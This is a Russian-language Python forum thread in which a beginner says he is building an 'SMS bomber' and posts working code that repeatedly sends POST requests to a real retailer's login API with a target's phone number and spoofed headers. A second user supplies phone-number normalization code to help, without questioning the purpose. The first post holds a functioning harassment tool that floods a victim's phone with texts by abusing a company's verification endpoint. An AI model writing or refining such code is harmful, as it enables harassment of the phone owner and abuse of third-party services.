Уведомления

Группа в Telegram: @pythonsu

#1 Июль 8, 2019 21:20:30

Dyusha
Зарегистрирован: 2019-07-07
Сообщения: 12
Репутация: +  0  -
Профиль   Отправить e-mail  

Уменьшение кол-ва переменных

Всем привет. Я нуб в python и в данный момент пытаюсь создать sms bomber. Вообщем, для каждого сайта формат номера разный, поэтому я, как нуб сделал много переменных с разными видами одного номера. На примере: есть переменные myphonenumber=input(“Введите номер телефона в формате 7XXXXXXXXXX”)
и myphonenumber1=input(“Введите номер телефона в формате XXXXXXXXXX (без 7)”)

Естественно можно это все дело сократить и убрать переменную myphonenumber, поставив вместо нее myphonenumber1 с предварительным знаком 7. Так вот, мне и нужна помощь в коде, как все это реализовать.

Если ваши глаза текут кровью, что я даже не указал типы переменных, то я пока над этим не работал. Я учу python около 2 недель и то понемногу, сколько время позволяет.

Мой код:

start=input(“”)

myphonenumber=input(“Введите номер телефона в формате 7XXXXXXXXXX”)
myphonenumber1=input(“Введите номер телефона в формате XXXXXXXXXX (без 7)”)
myphonenumber2=input(“Введите номер телефона в формате +7XXXXXXXXXX”)
myphonenumber3=input(“Введите номер телефона в формате +7 XXX XXX-XX-XX”)
myphonenumber4=input(“Введите номер телефона в формате 7 (XXX)XXX-XX-XX”)

import requests
import time

i=0
while i<10:

a=requests.post('https://api.sunlight.net/v3/customers/authorization/',data = {“phone”:myphonenumber},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', ‘Connection’:'keep-alive', ‘Host’:'api.sunlight.net', ‘origin’:'https://sunlight.net','Referer':'https://sunlight.net/profile/login/?next=/profile/'})
print(“SMS было успешно отправлено”, a)
print(a.text)
time.sleep(10)

Предложите рациональные варианты cокращения кол-ва переменных (только не забывайте, что я новичек) Буду очень рад!

Прикреплённый файлы:
attachment Test — копия.py (1,0 KБ)

Офлайн

#2 Июль 8, 2019 21:34:15

marvellik
Зарегистрирован: 2016-05-15
Сообщения: 639
Репутация: +  73  -
Профиль   Отправить e-mail  

Уменьшение кол-ва переменных

проверьте все варианты ввода

 phonenumber = [number for number in input("Введите номер телефона ") if number.isdigit()]
print('+7'+ ''.join(phonenumber[-10:]))

Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version